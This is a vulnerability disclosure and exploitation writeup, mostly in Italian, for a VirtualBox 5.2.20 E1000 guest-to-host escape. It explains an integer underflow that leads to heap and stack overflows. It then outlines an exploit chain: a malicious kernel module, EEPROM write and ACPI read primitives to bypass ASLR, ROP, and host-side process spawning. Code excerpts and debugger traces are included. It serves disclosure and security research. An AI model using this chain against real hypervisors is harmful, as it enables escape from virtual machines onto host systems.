
VirtualBox E1000 Fuga da Ospite a Host
Mi piace VirtualBox e non c'entra nulla con il motivo per cui pubblico una vulnerabilità 0day. La ragione è il mio disaccordo con lo stato attuale dell'infosec, in particolare della ricerca sulla sicurezza e del bug bounty:
Sono esausto dei primi due, quindi la mia mossa è la divulgazione completa. Infosec, per favore, fai un passo avanti.
Vulnerable software: VirtualBox 5.2.20 and prior versions. Host OS: any, the bug is in a shared code base. Guest OS: any. VM configuration: default (the only requirement is that a network card is Intel PRO/1000 MT Desktop (82540EM) and a mode is NAT).
Until the patched VirtualBox build is out you can change the network card of your virtual machines to PCnet (either of two) or to Paravirtualized Network. If you can't, change the mode from NAT to another one. The former way is more secure.
A default VirtualBox virtual network device is Intel PRO/1000 MT Desktop (82540EM) and the default network mode is NAT. We will refer to it as E1000.
The E1000 has a vulnerability allowing an attacker with root/administrator privileges in a guest to escape to a host ring3. Then the attacker can use existing techniques to escalate privileges to ring 0 via /dev/vboxdrv.
Per inviare pacchetti di rete, un guest fa ciò che fa un normale PC: configura una scheda di rete e le fornisce i pacchetti. I pacchetti sono composti da frame del livello data link e altre intestazioni di livello superiore. I pacchetti forniti all'adattatore sono avvolti in descrittori Tx (Tx sta per transmit). Il descrittore Tx è una struttura dati descritta nel datasheet 82540EM (317453006EN.PDF, Revision 4.0). Memorizza metainformazioni come dimensione del pacchetto, tag VLAN, flag di abilitazione della segmentazione TCP/IP e così via.
Il datasheet 82540EM prevede tre tipi di descrittori Tx: legacy, context, data. Credo che legacy sia deprecato. Gli altri due sono usati insieme. L'unica cosa che ci interessa è che i descrittori context impostano la dimensione massima del pacchetto e attivano la segmentazione TCP/IP, e che i descrittori data contengono gli indirizzi fisici dei pacchetti di rete e le loro dimensioni. La dimensione del pacchetto del descrittore data deve essere inferiore alla dimensione massima del pacchetto del descrittore context. Di solito i descrittori context vengono forniti alla scheda di rete prima dei descrittori data.
Per fornire i descrittori Tx alla scheda di rete, un guest li scrive nel Tx Ring. Questo è un buffer circolare che risiede in memoria fisica a un indirizzo predefinito. Quando tutti i descrittori sono stati scritti nel Tx Ring, il guest aggiorna il registro MMIO TDT (Transmit Descriptor Tail) di E1000 per comunicare all'host che ci sono nuovi descrittori da gestire.
Considera il seguente array di descrittori Tx:``` [context_1, data_2, data_3, context_4, data_5]
Assegniamo i loro campi di struttura come segue (i nomi dei campi sono ipotetici, per essere leggibili dall'uomo, ma mappano direttamente alla specifica 82540EM):```
context_1.header_length = 0
context_1.maximum_segment_size = 0x3010
context_1.tcp_segmentation_enabled = true
data_2.data_length = 0x10
data_2.end_of_packet = false
data_2.tcp_segmentation_enabled = true
data_3.data_length = 0
data_3.end_of_packet = true
data_3.tcp_segmentation_enabled = true
context_4.header_length = 0
context_4.maximum_segment_size = 0xF
context_4.tcp_segmentation_enabled = true
data_5.data_length = 0x4188
data_5.end_of_packet = true
data_5.tcp_segmentation_enabled = true
We will learn why they should be like that in our step-by-step analysis.
Let's assume the descriptors above are written to the Tx Ring in the specified order and TDT register is updated by the guest. Now the host will execute e1kXmitPending function in src/VBox/Devices/Network/DevE1000.cpp file (most of comments are and will be stripped for the sake of readability):```c static int e1kXmitPending(PE1KSTATE pThis, bool fOnWorkerThread) { ... while (!pThis->fLocked && e1kTxDLazyLoad(pThis)) { while (e1kLocateTxPacket(pThis)) { fIncomplete = false; rc = e1kXmitAllocBuf(pThis, pThis->fGSO); if (RT_FAILURE(rc)) goto out; rc = e1kXmitPacket(pThis, fOnWorkerThread); if (RT_FAILURE(rc)) goto out; }
e1kTxDLazyLoad leggerà tutti i 5 descrittori Tx dal Tx Ring. Poi e1kLocateTxPacket viene chiamata per la prima volta. Questa funzione itera attraverso tutti i descrittori per impostare uno stato iniziale ma non li gestisce effettivamente. Nel nostro caso, la prima chiamata a e1kLocateTxPacket gestirà i descrittori context_1, data_2 e data_3. I due descrittori rimanenti, context_4 e data_5, verranno gestiti alla seconda iterazione del ciclo while (tratteremo la seconda iterazione nella prossima sezione). Questa divisione dell'array in due parti è fondamentale per innescare la vulnerabilità, quindi vediamo perché.
e1kLocateTxPacket si presenta così:```c
static bool e1kLocateTxPacket(PE1KSTATE pThis)
{
...
for (int i = pThis->iTxDCurrent; i < pThis->nTxDFetched; ++i)
{
E1KTXDESC *pDesc = &pThis->aTxDescriptors[i];
switch (e1kGetDescType(pDesc))
{
case E1K_DTYP_CONTEXT:
e1kUpdateTxContext(pThis, pDesc);
continue;
case E1K_DTYP_LEGACY:
...
break;
case E1K_DTYP_DATA:
if (!pDesc->data.u64BufAddr || !pDesc->data.cmd.u20DTALEN)
break;
...
break;
default:
AssertMsgFailed(("Impossible descriptor type!"));
}
Il primo descrittore (context_1) è di tipo E1K_DTYP_CONTEXT, quindi viene chiamata la funzione e1kUpdateTxContext. Questa funzione aggiorna un contesto di segmentazione TCP se la segmentazione TCP è abilitata per il descrittore. Per context_1 questa condizione è vera, quindi il contesto di segmentazione TCP verrà aggiornato. (Ciò che sia realmente l'aggiornamento del contesto di segmentazione TCP non è importante, e lo useremo solo per riferirci al codice sottostante).
Il secondo descrittore (data_2) è di tipo E1K_DTYP_DATA, quindi verranno eseguite alcune azioni non necessarie per la discussione.
Il terzo descrittore (data_3) è anch'esso di tipo E1K_DTYP_DATA, ma poiché data_3.data_length == 0 non viene eseguita alcuna azione.
Al momento i tre descrittori vengono inizialmente elaborati e i due rimangono. Ora il punto: dopo l'istruzione switch viene effettuato un controllo per verificare se il campo end_of_packet di un descrittore è stato impostato. Per il descrittore data_3 è vero (data_3.end_of_packet == true). Il codice esegue alcune azioni e ritorna dalla funzione:```c if (pDesc->legacy.cmd.fEOP) { ... return true; }
Se data_3.end_of_packet fosse stato false, i rimanenti descrittori context_4 e data_5 sarebbero stati elaborati e la vulnerabilità sarebbe stata bypassata. Di seguito vedrai perché quel return dalla funzione porta al bug.
Alla fine della funzione e1kLocateTxPacket abbiamo i seguenti descrittori pronti per estrarre i pacchetti di rete e inviarli a una rete: context_1, data_2, data_3. Poi il ciclo interno di e1kXmitPending chiama e1kXmitPacket. Questa funzione itera attraverso tutti i descrittori (5 nel nostro caso) per elaborarli effettivamente:```c
static int e1kXmitPacket(PE1KSTATE pThis, bool fOnWorkerThread)
{
...
while (pThis->iTxDCurrent < pThis->nTxDFetched)
{
E1KTXDESC *pDesc = &pThis->aTxDescriptors[pThis->iTxDCurrent];
...
rc = e1kXmitDesc(pThis, pDesc, e1kDescAddr(TDBAH, TDBAL, TDH), fOnWorkerThread);
...
if (e1kGetDescType(pDesc) != E1K_DTYP_CONTEXT && pDesc->legacy.cmd.fEOP)
break;
}
Per ogni descrittore viene chiamata la funzione e1kXmitDesc:```c static int e1kXmitDesc(PE1KSTATE pThis, E1KTXDESC *pDesc, RTGCPHYS addr, bool fOnWorkerThread) { ... switch (e1kGetDescType(pDesc)) { case E1K_DTYP_CONTEXT: ... break; case E1K_DTYP_DATA: { ... if (pDesc->data.cmd.u20DTALEN == 0 || pDesc->data.u64BufAddr == 0) { E1kLog2(("% Empty data descriptor, skipped.\n", pThis->szPrf)); } else { if (e1kXmitIsGsoBuf(pThis->CTX_SUFF(pTxSg))) { ... } else if (!pDesc->data.cmd.fTSE) { ... } else { STAM_COUNTER_INC(&pThis->StatTxPathFallback); rc = e1kFallbackAddToFrame(pThis, pDesc, fOnWorkerThread); } } ...
Il primo descrittore passato a e1kXmitDesc è context_1. La funzione non fa nulla con i descrittori di contesto.
Il secondo descrittore passato a e1kXmitDesc è data\_2. Poiché tutti i nostri descrittori di dati hanno tcp\_segmentation\_enable == true (pDesc->data.cmd.fTSE sopra), chiamiamo e1kFallbackAddToFrame dove si verificherà un underflow intero mentre data\_5 viene elaborato.```c
static int e1kFallbackAddToFrame(PE1KSTATE pThis, E1KTXDESC *pDesc, bool fOnWorkerThread)
{
...
uint16_t u16MaxPktLen = pThis->contextTSE.dw3.u8HDRLEN + pThis->contextTSE.dw3.u16MSS;
/*
* Carve out segments.
*/
int rc = VINF_SUCCESS;
do
{
/* Calculate how many bytes we have left in this TCP segment */
uint32_t cb = u16MaxPktLen - pThis->u16TxPktLen;
if (cb > pDesc->data.cmd.u20DTALEN)
{
/* This descriptor fits completely into current segment */
cb = pDesc->data.cmd.u20DTALEN;
rc = e1kFallbackAddSegment(pThis, pDesc->data.u64BufAddr, cb, pDesc->data.cmd.fEOP /*fSend*/, fOnWorkerThread);
}
else
{
...
}
pDesc->data.u64BufAddr += cb;
pDesc->data.cmd.u20DTALEN -= cb;
} while (pDesc->data.cmd.u20DTALEN > 0 && RT_SUCCESS(rc));
if (pDesc->data.cmd.fEOP)
{
...
pThis->u16TxPktLen = 0;
...
}
return VINF_SUCCESS; /// @todo consider rc;
}
Le variabili più importanti qui sono u16MaxPktLen, pThis->u16TxPktLen e pDesc->data.cmd.u20DTALEN.
Creiamo una tabella in cui i valori di queste variabili sono specificati prima e dopo l'esecuzione della funzione e1kFallbackAddToFrame per i due descrittori di dati.
Devi solo notare che quando data_3 viene elaborato, pThis->u16TxPktLen è uguale a 0x10.
Ora viene la parte più importante. Dai un'altra occhiata alla fine dello snippet di e1kXmitPacket:```c if (e1kGetDescType(pDesc) != E1K_DTYP_CONTEXT && pDesc->legacy.cmd.fEOP) break;
Poiché il tipo di data_3 != E1K_DTYP_CONTEXT e data_3.end_of_packet == true, usciamo dal ciclo nonostante ci siano ancora context_4 e data_5 da processare. Perché è importante? La chiave per comprendere la vulnerabilità è capire che tutti i descrittori di contesto vengono processati prima dei descrittori di dati. I descrittori di contesto vengono processati durante l'aggiornamento del contesto di segmentazione TCP in e1kLocateTxPacket. I descrittori di dati vengono processati successivamente nel ciclo all'interno della funzione e1kXmitPacket. L'intenzione dello sviluppatore era di vietare la modifica di u16MaxPktLen dopo che alcuni dati erano stati processati, per prevenire underflow interi nel codice:```c
uint32_t cb = u16MaxPktLen - pThis->u16TxPktLen;
Ma siamo in grado di bypassare questa protezione: ricordiamo che in e1kLocateTxPacket abbiamo forzato la funzione a ritornare a causa di data_3.end_of_packet == true. E per questo motivo ci sono due descriptor (context_4 e data_5) rimasti da elaborare, nonostante il fatto che pThis->u16TxPktLen sia 0x10, non 0. Quindi c'è la possibilità di modificare u16MaxPktLen usando context_4.maximum_segment_size per causare l'integer underflow.
Ora, dopo che i primi tre descriptor sono stati elaborati, arriviamo di nuovo al ciclo interno di e1kXmitPending:```c while (e1kLocateTxPacket(pThis)) { fIncomplete = false; rc = e1kXmitAllocBuf(pThis, pThis->fGSO); if (RT_FAILURE(rc)) goto out; rc = e1kXmitPacket(pThis, fOnWorkerThread); if (RT_FAILURE(rc)) goto out; }
Qui chiamiamo e1kLocateTxPacket per l'elaborazione iniziale dei descrittori context_4 e data_5. È stato detto che possiamo impostare context_4.maximum_segment_size a una dimensione inferiore a quella dei dati già letti, cioè inferiore a 0x10. Ricordiamo i nostri descrittori Tx di input:```
context_4.header_length = 0
context_4.maximum_segment_size = 0xF
context_4.tcp_segmentation_enabled = true
data_5.data_length = 0x4188
data_5.end_of_packet = true
data_5.tcp_segmentation_enabled = true
Come risultato della chiamata a e1kLocateTxPacket abbiamo la dimensione massima del segmento pari a 0xF, mentre la dimensione dei dati già letti è 0x10.
Infine, durante l'elaborazione di data_5 arriviamo nuovamente a e1kFallbackAddToFrame e abbiamo i seguenti valori delle variabili:
| Tx Descriptor | Before/After | u16MaxPktLen | pThis->u16TxPktLen | pDesc->data.cmd.u20DTALEN |
|---|
E quindi abbiamo un underflow intero:```c uint32_t cb = u16MaxPktLen - pThis->u16TxPktLen; => uint32_t cb = 0xF - 0x10 = 0xFFFFFFFF;
Questo rende vera la seguente verifica poiché 0xFFFFFFFF > 0x4188:```c
if (cb > pDesc->data.cmd.u20DTALEN)
{
cb = pDesc->data.cmd.u20DTALEN;
rc = e1kFallbackAddSegment(pThis, pDesc->data.u64BufAddr, cb, pDesc->data.cmd.fEOP /*fSend*/, fOnWorkerThread);
}
la funzione e1kFallbackAddSegment verrà chiamata con dimensione 0x4188. Senza la vulnerabilità è impossibile chiamare e1kFallbackAddSegment con una dimensione maggiore di 0x3FA0 (E1K_MAX_TX_PKT_SIZE == 0x3FA0) perché, durante l'aggiornamento del contesto di segmentazione TCP in e1kUpdateTxContext, viene effettuato un controllo che la dimensione massima del segmento sia minore o uguale a 0x3FA0:```c DECLINLINE(void) e1kUpdateTxContext(PE1KSTATE pThis, E1KTXDESC *pDesc) { ... uint32_t cbMaxSegmentSize = pThis->contextTSE.dw3.u16MSS + pThis->contextTSE.dw3.u8HDRLEN + 4; /VTAG/ if (RT_UNLIKELY(cbMaxSegmentSize > E1K_MAX_TX_PKT_SIZE)) { pThis->contextTSE.dw3.u16MSS = E1K_MAX_TX_PKT_SIZE - pThis->contextTSE.dw3.u8HDRLEN - 4; /VTAG/ ... }
### Buffer Overflow
Abbiamo chiamato e1kFallbackAddSegment con dimensione 0x4188. Come può essere sfruttato? Ho trovato almeno due possibilità. In primo luogo, i dati verranno letti dal guest in un buffer heap:```c
static int e1kFallbackAddSegment(PE1KSTATE pThis, RTGCPHYS PhysAddr, uint16_t u16Len, bool fSend, bool fOnWorkerThread)
{
...
PDMDevHlpPhysRead(pThis->CTX_SUFF(pDevIns), PhysAddr,
pThis->aTxPacketFallback + pThis->u16TxPktLen, u16Len);
Qui pThis->aTxPacketFallback è il buffer di dimensione 0x3FA0 e u16Len è 0x4188 — un overflow evidente che può portare, ad esempio, alla sovrascrittura di puntatori a funzione.
In secondo luogo, se scaviamo più a fondo, scopriamo che e1kFallbackAddSegment chiama e1kTransmitFrame che può, con una certa configurazione dei registri E1000, chiamare la funzione e1kHandleRxPacket. Questa funzione alloca un buffer sullo stack di dimensione 0x4000 e poi copia dati di una lunghezza specificata (0x4188 nel nostro caso) nel buffer senza alcun controllo:```c static int e1kHandleRxPacket(PE1KSTATE pThis, const void *pvBuf, size_t cb, E1KRXDST status) { #if defined(IN_RING3) uint8_t rxPacket[E1K_MAX_RX_PKT_SIZE]; ... if (status.fVP) { ... } else memcpy(rxPacket, pvBuf, cb);
Come vedi, abbiamo trasformato un underflow di interi in un classico stack buffer overflow. I due overflow sopra — heap e stack — sono usati nell'exploit.
## Exploit
L'exploit è un modulo del kernel Linux (LKM) da caricare in un sistema operativo guest. Il caso Windows richiederebbe un driver che differisce dall'LKM solo per un wrapper di inizializzazione e per le chiamate alle API del kernel.
Privilegi elevati sono richiesti per caricare un driver in entrambi i sistemi operativi. È comune e non è considerato un ostacolo insormontabile. Guarda il concorso Pwn2Own dove i ricercatori usano catene di exploit: un browser che ha aperto un sito web dannoso nel sistema operativo guest viene sfruttato, viene effettuata una sandbox escape del browser per ottenere pieno accesso ring 3, viene sfruttata una vulnerabilità del sistema operativo per aprire la strada al ring 0 da dove c'è tutto ciò che serve per attaccare un hypervisor dal sistema operativo guest.
Le vulnerabilità dell'hypervisor più potenti sono sicuramente quelle che possono essere sfruttate dal ring 3 del guest. In VirtualBox esiste anche codice di questo tipo raggiungibile senza privilegi di root nel guest, e per lo più non è ancora stato sottoposto ad audit.
L'exploit è affidabile al 100%. Ciò significa che funziona sempre o mai a causa di binari non corrispondenti o di altri motivi più sottili che non ho considerato. Funziona almeno su guest Ubuntu 16.04 e 18.04 x86_64 con configurazione predefinita.
### Algoritmo di sfruttamento
1) Un attaccante rimuove e1000.ko caricato per impostazione predefinita nei guest Linux e carica l'LKM dell'exploit.
2) L'LKM inizializza E1000 secondo il datasheet. Viene inizializzata solo la parte di trasmissione poiché non c'è bisogno di quella di ricezione.
3) Passo 1: fuga di informazioni.
1) L'LKM disabilita la modalità loopback di E1000 per rendere irraggiungibile il codice dello stack buffer overflow.
2) L'LKM usa la vulnerabilità di underflow di interi per provocare l'heap buffer overflow.
3) L'heap buffer overflow consente di usare l'EEPROM di E1000 per scrivere due byte qualsiasi relativi a un heap buffer in un intervallo di 128 KB. L'attaccante ottiene quindi una primitiva di scrittura.
4) L'LKM usa la primitiva di scrittura 8 volte per scrivere byte nella struttura dati ACPI (Advanced Configuration and Power Interface) sull'heap. I byte vengono scritti in una variabile indice di un heap buffer da cui verrà letto un singolo byte. Poiché la dimensione del buffer è inferiore al numero massimo di indice (255), l'attaccante può leggere oltre il buffer, ottenendo così una primitiva di lettura.
5) L'LKM usa la primitiva di lettura 8 volte per accedere all'ACPI e ottenere 8 byte dall'heap. Quei byte sono il puntatore della libreria condivisa VBoxDD.so.
6) L'LKM sottrae l'RVA dal puntatore per ottenere la base dell'immagine di VBoxDD.so.
4) Passo 2: stack buffer overflow.
1) L'LKM abilita la modalità loopback di E1000 per rendere raggiungibile il codice dello stack buffer overflow.
2) L'LKM usa la vulnerabilità di underflow di interi per provocare l'heap buffer overflow e lo stack buffer overflow. L'indirizzo di ritorno salvato (RIP/EIP) viene sovrascritto. L'attaccante ottiene il controllo.
3) Viene eseguita una catena ROP per eseguire un caricatore di shellcode.
5) Passo 3: shellcode.
1) Il caricatore di shellcode copia uno shellcode dallo stack accanto a sé. Lo shellcode viene eseguito.
2) Lo shellcode esegue le syscall fork ed execve per generare un processo arbitrario sul lato host.
3) Il processo padre esegue la continuazione del processo.
6) L'attaccante rimuove l'LKM e ricarica e1000.ko per consentire al guest di usare la rete.
### Inizializzazione
L'LKM mappa la memoria fisica relativa all'E1000 MMIO. L'indirizzo fisico e la dimensione sono predefiniti dall'hypervisor.```c
void* map_mmio(void) {
off_t pa = 0xF0000000;
size_t len = 0x20000;
void* va = ioremap(pa, len);
if (!va) {
printk(KERN_INFO PFX"ioremap failed to map MMIO\n");
return NULL;
}
return va;
}
Quindi i registri general purpose E1000 vengono configurati, la memoria Tx Ring viene allocata, i registri di trasmissione vengono configurati.```c void e1000_init(void* mmio) { // Configure general purpose registers
configure_CTRL(mmio);
// Configure TX registers
g_tx_ring = kmalloc(MAX_TX_RING_SIZE, GFP_KERNEL);
if (!g_tx_ring) {
printk(KERN_INFO PFX"Failed to allocate TX Ring\n");
return;
}
configure_TDBAL(mmio);
configure_TDBAH(mmio);
configure_TDLEN(mmio);
configure_TCTL(mmio);
}
### Bypass di ASLR
#### Primitiva di scrittura
Fin dall'inizio dello sviluppo dell'exploit ho deciso di non utilizzare primitive trovate in servizi disabilitati per impostazione predefinita. Ciò significa, in primo luogo, il servizio Chromium (non un browser) che fornisce l'accelerazione 3D, dove i ricercatori hanno trovato più di 40 vulnerabilità nell'ultimo anno.
Il problema era trovare una fuga di informazioni nei sottosistemi predefiniti di VirtualBox. Il pensiero ovvio era che se l'integer underflow consente di fare overflow del buffer heap, allora controlliamo qualsiasi cosa oltre il buffer. Vedremo che non è stata necessaria nemmeno una vulnerabilità aggiuntiva: l'integer underflow si è rivelato piuttosto potente per ricavarne primitive di lettura, scrittura e fuga di informazioni, per non parlare dell'overflow del buffer di stack.
Esaminiamo cosa va esattamente in overflow nell'heap.```c
/**
* Device state structure.
*/
struct E1kState_st
{
...
uint8_t aTxPacketFallback[E1K_MAX_TX_PKT_SIZE];
...
E1kEEPROM eeprom;
...
}
Qui aTxPacketFallback è un buffer di dimensione 0x3FA0 che subirà un overflow con byte copiati da un data descriptor. Cercando campi interessanti dopo il buffer sono arrivato alla struttura E1kEEPROM che contiene un'altra struttura con i seguenti campi (src/VBox/Devices/Network/DevE1000.cpp):```c /**
Come possiamo abusarne? E1000 implementa l'EEPROM, la memoria secondaria dell'adattatore. Il sistema operativo guest può accedervi tramite i registri MMIO di E1000. L'EEPROM è implementata come un automa a stati finiti con diversi stati ed esegue quattro azioni. A noi interessa solo la "scrittura in memoria". Ecco come appare (src/VBox/Devices/Network/DevEEPROM.cpp):```c
EEPROM93C46::State EEPROM93C46::opWrite()
{
storeWord(m_u16Addr, m_u16Word);
return WAITING_CS_FALL;
}
void EEPROM93C46::storeWord(uint32_t u32Addr, uint16_t u16Value)
{
if (m_fWriteEnabled) {
E1kLog(("EEPROM: Stored word %04x at %08x\n", u16Value, u32Addr));
m_au16Data[u32Addr] = u16Value;
}
m_u16Mask = DATA_MSB;
}
Qui m_u16Addr, m_u16Word e m_fWriteEnabled sono campi della struttura EEPROM93C46 che controlliamo. Possiamo renderli malformati in modo che
m_au16Data[u32Addr] = u16Value;
```
statement scriverà due byte a un offset arbitrario a 16 bit da m_au16Data, che risiede anch'esso nella struttura. Abbiamo trovato una primitiva di scrittura.
#### Primitiva di lettura
Il problema successivo era trovare strutture dati nell'heap in cui scrivere dati arbitrari, con l'obiettivo principale di divulgare un puntatore a una libreria condivisa per ottenere la sua base immagine. Fortunatamente, non è stato necessario effettuare uno heap spray instabile perché le strutture dati principali dei dispositivi virtuali risultavano allocate da un heap interno dell'hypervisor in modo tale che la distanza tra esse è sempre costante, nonostante i loro indirizzi virtuali, ovviamente, siano randomizzati da ASLR.
Quando una macchina virtuale viene avviata, il sottosistema PDM (Pluggable Device and Driver Manager) alloca oggetti PDMDEVINS nell'heap dell'hypervisor.```c
int pdmR3DevInit(PVM pVM)
{
...
PPDMDEVINS pDevIns;
if (paDevs[i].pDev->pReg->fFlags & (PDM_DEVREG_FLAGS_RC | PDM_DEVREG_FLAGS_R0))
rc = MMR3HyperAllocOnceNoRel(pVM, cb, 0, MM_TAG_PDM_DEVICE, (void **)&pDevIns);
else
rc = MMR3HeapAllocZEx(pVM, MM_TAG_PDM_DEVICE, cb, (void **)&pDevIns);
...
```
Ho tracciato quel codice sotto GDB usando uno script e ho ottenuto questi risultati:```
[trace-device-constructors] Constructing a device #0x0:
[trace-device-constructors] Name: "pcarch", '\000' <repeats 25 times>
[trace-device-constructors] Description: 0x7fc44d6f125a "PC Architecture Device"
[trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d57517b <pcarchConstruct(PPDMDEVINS, int, PCFGMNODE)>
[trace-device-constructors] Instance: 0x7fc45486c1b0
[trace-device-constructors] Data size: 0x8
[trace-device-constructors] Constructing a device #0x1:
[trace-device-constructors] Name: "pcbios", '\000' <repeats 25 times>
[trace-device-constructors] Description: 0x7fc44d6ef37b "PC BIOS Device"
[trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d56bd3b <pcbiosConstruct(PPDMDEVINS, int, PCFGMNODE)>
[trace-device-constructors] Instance: 0x7fc45486c720
[trace-device-constructors] Data size: 0x11e8
...
[trace-device-constructors] Constructing a device #0xe:
[trace-device-constructors] Name: "e1000", '\000' <repeats 26 times>
[trace-device-constructors] Description: 0x7fc44d70c6d0 "Intel PRO/1000 MT Desktop Ethernet.\n"
[trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d622969 <e1kR3Construct(PPDMDEVINS, int, PCFGMNODE)>
[trace-device-constructors] Instance: 0x7fc470083400
[trace-device-constructors] Data size: 0x53a0
[trace-device-constructors] Constructing a device #0xf:
[trace-device-constructors] Name: "ichac97", '\000' <repeats 24 times>
[trace-device-constructors] Description: 0x7fc44d716ac0 "ICH AC'97 Audio Controller"
[trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d66a90f <ichac97R3Construct(PPDMDEVINS, int, PCFGMNODE)>
[trace-device-constructors] Instance: 0x7fc470088b00
[trace-device-constructors] Data size: 0x1848
[trace-device-constructors] Constructing a device #0x10:
[trace-device-constructors] Name: "usb-ohci", '\000' <repeats 23 times>
[trace-device-constructors] Description: 0x7fc44d707025 "OHCI USB controller.\n"
[trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d5ea841 <ohciR3Construct(PPDMDEVINS, int, PCFGMNODE)>
[trace-device-constructors] Instance: 0x7fc47008a4e0
[trace-device-constructors] Data size: 0x1728
[trace-device-constructors] Constructing a device #0x11:
[trace-device-constructors] Name: "acpi", '\000' <repeats 27 times>
[trace-device-constructors] Description: 0x7fc44d6eced8 "Advanced Configuration and Power Interface"
[trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d563431 <acpiR3Construct(PPDMDEVINS, int, PCFGMNODE)>
[trace-device-constructors] Instance: 0x7fc47008be70
[trace-device-constructors] Data size: 0x1570
[trace-device-constructors] Constructing a device #0x12:
[trace-device-constructors] Name: "GIMDev", '\000' <repeats 25 times>
[trace-device-constructors] Description: 0x7fc44d6f17fa "VirtualBox GIM Device"
[trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d575cde <gimdevR3Construct(PPDMDEVINS, int, PCFGMNODE)>
[trace-device-constructors] Instance: 0x7fc47008dba0
[trace-device-constructors] Data size: 0x90
[trace-device-constructors] Instances:
[trace-device-constructors] #0x0 Address: 0x7fc45486c1b0
[trace-device-constructors] #0x1 Address 0x7fc45486c720 differs from previous by 0x570
[trace-device-constructors] #0x2 Address 0x7fc4700685f0 differs from previous by 0x1b7fbed0
[trace-device-constructors] #0x3 Address 0x7fc4700696d0 differs from previous by 0x10e0
[trace-device-constructors] #0x4 Address 0x7fc47006a0d0 differs from previous by 0xa00
[trace-device-constructors] #0x5 Address 0x7fc47006a450 differs from previous by 0x380
[trace-device-constructors] #0x6 Address 0x7fc47006a920 differs from previous by 0x4d0
[trace-device-constructors] #0x7 Address 0x7fc47006ad50 differs from previous by 0x430
[trace-device-constructors] #0x8 Address 0x7fc47006b240 differs from previous by 0x4f0
[trace-device-constructors] #0x9 Address 0x7fc4548ec9a0 differs from previous by 0x-1b77e8a0
[trace-device-constructors] #0xa Address 0x7fc470075f90 differs from previous by 0x1b7895f0
[trace-device-constructors] #0xb Address 0x7fc488022000 differs from previous by 0x17fac070
[trace-device-constructors] #0xc Address 0x7fc47007cf80 differs from previous by 0x-17fa5080
[trace-device-constructors] #0xd Address 0x7fc4700820f0 differs from previous by 0x5170
[trace-device-constructors] #0xe Address 0x7fc470083400 differs from previous by 0x1310
[trace-device-constructors] #0xf Address 0x7fc470088b00 differs from previous by 0x5700
[trace-device-constructors] #0x10 Address 0x7fc47008a4e0 differs from previous by 0x19e0
[trace-device-constructors] #0x11 Address 0x7fc47008be70 differs from previous by 0x1990
[trace-device-constructors] #0x12 Address 0x7fc47008dba0 differs from previous by 0x1d30
```
Notare il dispositivo E1000 alla posizione #0xE. Si può vedere nella seconda lista che il dispositivo successivo si trova a offset 0x5700 da E1000, il successivo a 0x19E0 e così via. Abbiamo già detto che queste distanze sono sempre le stesse, ed è la nostra opportunità di sfruttamento.
I dispositivi che seguono E1000 sono ICH IC'97, OHCI, ACPI, VirtualBox GIM. Studiando le loro strutture dati ho capito il modo per usare la primitiva di scrittura.
All'avvio della macchina virtuale viene creato il dispositivo ACPI (src/VBox/Devices/PC/DevACPI.cpp):```c
typedef struct ACPIState
{
...
uint8_t au8SMBusBlkDat[32];
uint8_t u8SMBusBlkIdx;
uint32_t uPmTimeOld;
uint32_t uPmTimeA;
uint32_t uPmTimeB;
uint32_t Alignment5;
} ACPIState;
```
Un gestore input/output della porta ACPI è registrato per l'intervallo 0x4100-0x410F. Nel caso della porta 0x4107 abbiamo:```c
PDMBOTHCBDECL(int) acpiR3SMBusRead(PPDMDEVINS pDevIns, void *pvUser, RTIOPORT Port, uint32_t *pu32, unsigned cb)
{
RT_NOREF1(pDevIns);
ACPIState *pThis = (ACPIState *)pvUser;
...
switch (off)
{
...
case SMBBLKDAT_OFF:
*pu32 = pThis->au8SMBusBlkDat[pThis->u8SMBusBlkIdx];
pThis->u8SMBusBlkIdx++;
pThis->u8SMBusBlkIdx &= sizeof(pThis->au8SMBusBlkDat) - 1;
break;
...
```
Quando il sistema operativo guest esegue l'istruzione INB(0x4107) per leggere un byte dalla porta, l'handler preleva un byte dall'array au8SMBusBlkDat[32] all'indice u8SMBusBlkIdx e lo restituisce al guest. Ed è così che si applica la primitiva di scrittura: poiché la distanza tra i blocchi heap dei dispositivi virtuali è costante, lo è anche la distanza dall'array EEPROM93C46.m_au16Data a ACPIState.u8SMBusBlkIdx. Scrivendo due byte su ACPIState.u8SMBusBlkIdx possiamo leggere dati arbitrari nell'intervallo di 255 byte da ACPIState.au8SMBusBlkDat.
C'è un ostacolo. Dando un'occhiata alla struttura ACPIState si può vedere che l'array è posizionato alla fine della struttura. I campi rimanenti sono inutili da leakare. Quindi vediamo cosa si può trovare dopo la struttura:```
gef➤ x/16gx (ACPIState*)(0x7fc47008be70+0x100)+1
0x7fc47008d4e0: 0xffffe98100000090 0xfffd9b2000000000
0x7fc47008d4f0: 0x00007fc470067a00 0x00007fc470067a00
0x7fc47008d500: 0x00000000a0028a00 0x00000000000e0000
0x7fc47008d510: 0x00000000000e0fff 0x0000000000001000
0x7fc47008d520: 0x000000ff00000002 0x0000100000000000
0x7fc47008d530: 0x00007fc47008c358 0x00007fc44d6ecdc6
0x7fc47008d540: 0x0031000035944000 0x00000000000002b8
0x7fc47008d550: 0x00280001d3878000 0x0000000000000000
gef➤ x/s 0x00007fc44d6ecdc6
0x7fc44d6ecdc6: "ACPI RSDP"
gef➤ vmmap VBoxDD.so
Start End Offset Perm Path
0x00007fc44d4f3000 0x00007fc44d768000 0x0000000000000000 r-x /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
0x00007fc44d768000 0x00007fc44d968000 0x0000000000275000 --- /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
0x00007fc44d968000 0x00007fc44d977000 0x0000000000275000 r-- /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
0x00007fc44d977000 0x00007fc44d980000 0x0000000000284000 rw- /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
gef➤ p 0x00007fc44d6ecdc6 - 0x00007fc44d4f3000
$2 = 0x1f9dc6
```
